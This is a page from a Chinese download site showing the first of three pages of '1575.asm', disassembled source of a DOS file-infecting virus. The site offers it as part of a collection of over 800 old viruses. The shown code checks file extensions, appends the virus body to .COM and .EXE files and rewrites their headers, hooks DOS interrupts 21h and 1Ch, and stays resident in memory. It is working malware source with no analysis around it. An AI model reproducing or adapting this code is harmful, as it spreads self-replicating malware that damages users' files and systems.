⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 1575.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 3 页
字号:
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_4           proc    near
                mov     al,45h                                  ; 'E'
                mov     byte ptr ds:[724h],al
                mov     al,8
                out     70h,al                                  ; port 70h, RTC addr/enabl NMI
                                                                ;  al = 8, month register
                in      al,71h                                  ; port 71h, RTC clock/RAM data
                mov     data_34,al
                mov     dx,219h
                mov     ax,3D02h
                int     21h                                     ; DOS Services  ah=function 3Dh
                                                                ;  open file, al=mode,name@ds:dx
                jnc     loc_13                                  ; Jump if carry=0
                retn
loc_13:
                mov     data_26,ax
                mov     dx,10Bh
                mov     bx,data_26
                mov     cx,18h
                mov     ah,3Fh                                  ; '?'
                int     21h                                     ; DOS Services  ah=function 3Fh
                                                                ;  read file, cx=bytes, to ds:dx
                mov     ax,4202h
                mov     cx,0
                mov     dx,0
                int     21h                                     ; DOS Services  ah=function 42h
                                                                ;  move file ptr, cx,dx=offset
                push    ax
                add     ax,10h
                adc     dx,0
                and     ax,0FFF0h
                mov     data_24,dx
                mov     data_25,ax
                mov     cx,727h
                sub     cx,100h
                add     ax,cx
                adc     dx,0
                mov     cx,200h
                div     cx                                      ; ax,dx rem=dx:ax/reg
                inc     ax
                mov     data_16,ax
                mov     data_15,dx
                mov     ax,data_21
                mov     data_22,ax
                mov     ax,data_20
                mov     data_23,ax
                mov     ax,data_18
                mov     data_29,ax
                mov     ax,data_19
                mov     data_30,ax
                mov     dx,data_24
                mov     ax,data_25
                mov     cx,10h
                div     cx                                      ; ax,dx rem=dx:ax/reg
                sub     ax,10h
                sub     ax,data_17
                mov     data_21,ax
                mov     data_18,ax
                mov     data_20,100h
                mov     data_19,100h
                mov     ax,4200h
                xor     cx,cx                                   ; Zero register
                mov     dx,2
                int     21h                                     ; DOS Services  ah=function 42h
                                                                ;  move file ptr, cx,dx=offset
                mov     dx,10Dh
                mov     bx,data_26
                mov     cx,16h
                mov     ah,40h                                  ; '@'
                int     21h                                     ; DOS Services  ah=function 40h
                                                                ;  write file cx=bytes, to ds:dx
                mov     ax,4202h
                xor     cx,cx                                   ; Zero register
                xor     dx,dx                                   ; Zero register
                int     21h                                     ; DOS Services  ah=function 42h
                                                                ;  move file ptr, cx,dx=offset
                mov     dx,100h
                mov     ax,data_25
                pop     cx
                sub     ax,cx
                sub     dx,ax
                mov     cx,727h
                add     cx,ax
                sub     cx,100h
                mov     ah,40h                                  ; '@'
                int     21h                                     ; DOS Services  ah=function 40h
                                                                ;  write file cx=bytes, to ds:dx
                mov     ah,3Eh                                  ; '>'
                int     21h                                     ; DOS Services  ah=function 3Eh
                                                                ;  close file, bx=file handle
                retn
sub_4           endp
  
                db      51h, 0B9h, 0, 0, 0B4h, 4Eh
                db      0CDh, 21h, 59h, 0C3h
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_5           proc    near
                push    es
                mov     ax,351Ch
                int     21h                                     ; DOS Services  ah=function 35h
                                                                ;  get intrpt vector al in es:bx
                mov     cs:data_13,bx
                mov     cs:data_14,es
                mov     ax,3521h
                int     21h                                     ; DOS Services  ah=function 35h
                                                                ;  get intrpt vector al in es:bx
                push    es
                pop     ax
                mov     cs:data_12,ax
                mov     cs:data_11,bx
                pop     es
                retn
sub_5           endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_6           proc    near
                push    ax
                push    es
                push    ds
                xor     ax,ax                                   ; Zero register
                mov     es,ax
                mov     si,86h
                mov     ax,es:[si]
                mov     ds,ax
                mov     si,725h
                cmp     word ptr [si],0A0Ch
                jne     loc_14                                  ; Jump if not equal
                push    ds
                pop     ax
                call    sub_13                                  ; (0611)
                pop     ds
                pop     es
                pop     ax
                retn
loc_14:
                push    cs
                pop     ds
                mov     ax,data_31
                dec     ax
                mov     es,ax
                cmp     byte ptr es:[0],5Ah                     ; 'Z'
                je      loc_15                                  ; Jump if equal
                jmp     short loc_16                            ; (04B4)
                db      90h
loc_15:
                mov     ax,es:data_9e
                mov     cx,737h
                shr     cx,1                                    ; Shift w/zeros fill
                shr     cx,1                                    ; Shift w/zeros fill
                shr     cx,1                                    ; Shift w/zeros fill
                shr     cx,1                                    ; Shift w/zeros fill
                sub     ax,cx
                jc      loc_16                                  ; Jump if carry Set
                mov     es:data_9e,ax
                sub     es:data_10e,cx
                push    cs
                pop     ds
                mov     ax,es:data_10e
                push    ax
                pop     es
                mov     si,100h
                push    si
                pop     di
                mov     cx,627h
                cld                                             ; Clear direction
                repne   movsb                                   ; Rep while cx>0 Mov [si] to es:[di]
                push    es
                sub     ax,ax
                mov     es,ax
                mov     si,84h
                mov     dx,4A8h
                mov     es:[si],dx
                inc     si
                inc     si
                pop     ax
                mov     es:[si],ax
loc_16:
                pop     ds
                pop     es
                pop     ax
                retn
sub_6           endp
  
                db      3Ch, 57h, 75h, 3, 0EBh, 1Eh
                db      90h, 80h, 0FCh, 1Ah, 75h, 6
                db      0E8h, 17h, 1, 0EBh, 13h, 90h
loc_17:
                cmp     ah,11h
                jne     loc_18                                  ; Jump if not equal
                call    sub_7                                   ; (04E1)
                iret                                            ; Interrupt return
loc_18:
                cmp     ah,12h
                jne     loc_19                                  ; Jump if not equal
                call    sub_10                                  ; (059C)
                iret                                            ; Interrupt return
loc_19:
                jmp     dword ptr cs:data_11
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_7           proc    near
                mov     al,57h                                  ; 'W'
                int     21h                                     ; DOS Services  ah=function 00h
                                                                ;  terminate, cs=progm seg prefx
                push    ax
                push    cx
                push    dx
                push    bx
                push    bp
                push    si
                push    di
                push    ds
                push    es
                push    cs
                pop     ds
                push    cs
                pop     es
                mov     byte ptr cs:data_35,0
                nop
                call    sub_8                                   ; (0514)
                jnz     loc_20                                  ; Jump if not zero
                call    sub_2                                   ; (023D)
                jz      loc_20                                  ; Jump if zero
                call    sub_15                                  ; (065A)
                dec     byte ptr ds:data_6e
loc_20:
                pop     es
                pop     ds
                pop     di
                pop     si
                pop     bp
                pop     bx
                pop     dx
                pop     cx
                pop     ax
                retn
sub_7           endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_8           proc    near
                push    cs
                pop     es
                push    cs
                pop     es
                cld                                             ; Clear direction
                call    sub_9                                   ; (0552)
                jnc     loc_21                                  ; Jump if carry=0
                cmp     di,0
                retn
loc_21:
                mov     di,219h
                mov     al,2Eh                                  ; '.'
                mov     cx,0Bh
                repne   scasb                                   ; Rept zf=0+cx>0 Scan es:[di] for al
                cmp     word ptr [di],4F43h
                jne     loc_22                                  ; Jump if not equal
                cmp     byte ptr [di+2],4Dh                     ; 'M'
                jne     loc_22                                  ; Jump if not equal
                mov     byte ptr ds:[724h],43h                  ; 'C'
                nop
                retn
loc_22:
                cmp     word ptr [di],5845h
                jne     loc_ret_23                              ; Jump if not equal
                cmp     byte ptr [di+2],45h                     ; 'E'
                jne     loc_ret_23                              ; Jump if not equal
                mov     byte ptr ds:[724h],45h                  ; 'E'
                nop
  
loc_ret_23:
                retn
sub_8           endp
  
  
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;                              SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
  
sub_9           proc    near
loc_24:
                push    ds
                mov     si,cs:data_27
                mov     ax,cs:data_28
                mov     ds,ax
                mov     di,219h
                lodsb                                           ; String [si] to al
                cmp     al,0FFh
                jne     loc_25                                  ; Jump if not equal
                add     si,6
                lodsb                                           ; String [si] to al
                jmp     short loc_26                            ; (0574)
                db      90h
loc_25:
                cmp     al,5
                jb      loc_26                                  ; Jump if below
                pop     ds
                stc                                             ; Set carry flag

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -